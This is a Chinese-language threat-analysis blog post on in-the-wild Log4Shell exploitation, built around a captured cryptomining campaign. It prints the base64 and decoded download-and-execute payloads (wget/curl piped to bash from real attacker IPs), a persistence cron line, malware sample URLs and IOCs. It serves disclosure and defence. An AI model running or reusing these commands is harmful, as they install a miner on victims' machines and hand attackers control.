從一例挖礦木馬看 Log4Shell 的在野傳播

簡介

關于該漏洞的細節信息已經刷屏，就不再贅述，想了解細節的讀者可以查看各廠商的分析文章。簡單來說 Apache Log4j 2.0 到 2.14.1 版本被發現存在漏洞（CVE-2021-44228），其典型攻擊鏈如下所示：

該漏洞被稱為 Log4Shell，業界有人認為該漏洞是 2014 年發現的 ShellShock（CVE-2014-6271）破殼漏洞后的又一“重磅炸彈”。因為二者都擁有巨大的攻擊面，影響范圍在確認后可能還會持續擴大。

Log4j 攻擊面列表

https://github.com/YfryTchsGD/Log4jAttackSurface

時間線

在分析在野傳播前，先簡單捋一下時間線，時間線上的關鍵節點如下所示：

• 2021 年 12 月 5 日，Apache 在 JIRA 上公開了該漏洞。

JIRA 披露頁面

https://issues.apache.org/jira/browse/LOG4J2-3201

• 2021 年 12 月 6 日，Apache 發布補丁并提供了更多漏洞相關信息。
• 
  
• 2021 年 12 月 9 日，該漏洞的 PoC 被公開發布。根據 Fastly 的監測，僅僅在 82 分鐘后就出現了驗證嘗試。

只不過起初，很多人沒有搞清楚如何利用該漏洞，進行的都是錯誤的嘗試。而在 18 個小時后，攻擊者改進了攻擊方式，使得能夠正確使用的攻擊快速上升。

• 2021 年 12 月 10 日，相關掃描和漏洞利用快速攀升。根據 GreyNoise 的監測，僅當日 12 時至 14 時與 Log4Shell 相關的事件就增長了 5 倍。

目前來看，Imperva 已經發現了 140+ 萬次的攻擊行為，且攻擊變種越來越多。根據 Imperva 的數據按國家/地區來看，美國、德國遭受攻擊較多：

而根據 CloudFlare 的數據按國家/地區來看，加拿大和美國發起的攻擊較多：

根據 GreyNoise 的監測，全球有幾百個 IP 在利用該漏洞進行掃描和探測：

其中，像 BinaryEdge 這樣的網空搜索引擎也在積極探測該漏洞的影響范圍：

• 2021 年 12 月 10 日，德國 CERT、奧地利 CERT、新西蘭 CERT、中國國家互聯網應急中心（CNCERT） 等主管部門都陸續發布相關安全公告，并且表示在野攻擊已經大量出現。

同日，美國國家安全局（NSA）網絡安全主管 Rob Joyce 在 Twitter 上表示，NSA 發布的二進制分析工具 GHIDRA 也受到波及。

• 2021 年 12 月 11 日，根據微軟威脅情報中心（MSTIC）和 360 網絡安全研究院（360 Netlab）、深信服千里目安全實驗室等廠商的分析與監測，在最初的掃描和嘗試后，部分先行的攻擊者已經將該漏洞納入武器庫中，正式開始整合利用，如用于組建僵尸網絡等。

實例

以我們捕獲到的部分攻擊為例，來看該漏洞的在野傳播。捕獲到的部分 Payload 如下所示：

KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==KHdnZXQgLU8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODA4MC9hY2N8fGN1cmwgLW8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODA4MC9hY2MpfC9iaW4vYmFzaCA=KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==

經過 base64 解碼后如下所示：

(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash(wget -O - http://103.104.73.155:8080/acc||curl -o - http://103.104.73.155:8080/acc)|/bin/bash(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash

acc 為一個 Shell 腳本，如下所示：

看編程風格 echo zhaodao 可能為中文書寫習慣的攻擊者。腳本拉取執行后續惡意樣本：

http://103.104.73.155:8080/indexhttp://103.104.73.155:8080/indexhttp://103.104.73.155:8080/indexhttp://103.104.73.155:8080/index

index 為一個使用 UPX 加殼、Go 編寫的 64 位 ELF 惡意樣本。由于樣本分析并非本文的重點，故而只帶過要點。

? file index_unpackindex_unpack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=Xrf-x5Mxe8ZzaZosLVjp/-x_U-ss3PrhBAwIxIS3e/-SaKJU7WRDaApgDlKRyd/v5xrGGX4SX_4tCAf0ZWs, stripped

該樣本在 VT 上的檢出率為 28/60，很多引擎非常明確的標出該樣本與挖礦（Coinminer）有關。

脫殼后的樣本檢出率為 4/59，猜測殼可能是引擎判定的一個重要特征：

和引擎的判定一致，該樣本確實是 XMRig 的挖礦程序，這一點從函數名也能看出來：

以及 Intezer 的分析結果也可以佐證這一點：

樣本寫入定時任務進行持久化，同時使用 base64 編碼內容（Ki8yICogKiAqICogcm9vdCAvZXRjLy5weXRob24zLjhtLnNoPi9kZXYvbnVsbCAyPiYx）對抗分析，解碼后為 */2 * * * * root /etc/.python3.8m.sh>/dev/null。

/etc/cron.d/root/var/spool/cron/root/var/spool/cron/crontabs/root

遍歷查看進程和文件系統的指定目錄：

樣本使用了如 gopsutil、go_sysconf、numcpus 等一系列第三方庫來獲取失陷主機的相關信息，如下所示：

特別的，樣本使用到了用戶 zh-five 的 xdaemon_background，而該項目的描述文件絕大部分為中文內容，攻擊者確實較大可能性很熟悉中文書寫習慣。

其余不加贅述，感興趣的可以自己下載樣本分析來看。

總結

現如今，攻擊者利用漏洞的速度越來越快，留給修復和響應的時間越來越少。本次的 Log4Shell 就非常典型，披露后很短的時間就為全世界帶來了巨大的沖擊。本文選取了一個挖礦木馬來展示攻擊者對利用該漏洞的積極性，同時又盡量選取了和已經公開披露的在野利用不同的惡意樣本來體現很多攻擊者都蠢蠢欲動。

該漏洞的影響范圍極大，大家都在緊鑼密鼓地進行漏洞緩解和防護加固，首先為這些加班加點的從業人員點個贊。各個廠商也逐漸開始披露出現的在野利用，利用該漏洞的攻擊在短期內應該不會減少，并且各種變體可能會層出不窮。

建議對暴露的攻擊面進行一次底數摸排，以便更好地評估自己可能受到的威脅和影響，盡快進行處理。對每個組織來說，實施緩解措施和防護手段是當務之急，其次在接下來的一段時間內會有許多受到影響的服務、組件等基礎設施都要面臨補丁升級。

受到該漏洞的沖擊，軟件物料清單（Software Bill of Materials，SBOM）的概念再度被提起。例如，開源工具 Syft 與 Grype 相配合可以實現檢測，如下所示：

Syft

https://github.com/anchore/syft

Grype

https://github.com/anchore/grype

其實，我們都知道建立組織內使用軟件的完整臺帳可能是異常困難的，甚至是不可能完成的任務。但也許從今天開始努力，在面臨下一次沖擊的時候就可以更從容的應對。

IOC

720a3a92e72054dc8d58e229c22bb892 index8c1e79369630535b85a9d3208cc47374 index（脫殼后）http://185.250.148.157:8005/acchttp://103.104.73.155:8080/indexhttp://185.250.148.157:8180/ExecTemplateJDK7.classhttp://185.250.148.157:8180/ExecTemplateJDK8.class

共享的 Payload 清單

在 GitHub 上有人整理了部分相關 IP 地址和 Payload，感興趣的可以進一步研究或者在自己的數據源上進行關聯捕獲。當然這些表現出攻擊行為的 IP 也被某些人用于進行封堵防御，讀者可以自行斟酌。

https://gist.github.com/superducktoes/9b742f7b44c71b4a0d19790228ce85d8https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890https://gist.github.com/ycamper/26e021a2b5974049d113738d51e7641dhttps://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217

參考鏈接

https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4jhttps://www.greynoise.io/blog/apache-log4j-vulnerability-CVE-2021-44228https://www.imperva.com/blog/how-were-protecting-customers-staying-ahead-of-cve-2021-44228/https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/https://www.infoworld.com/article/3644492/how-to-detect-the-log4j-vulnerability-in-your-applications.html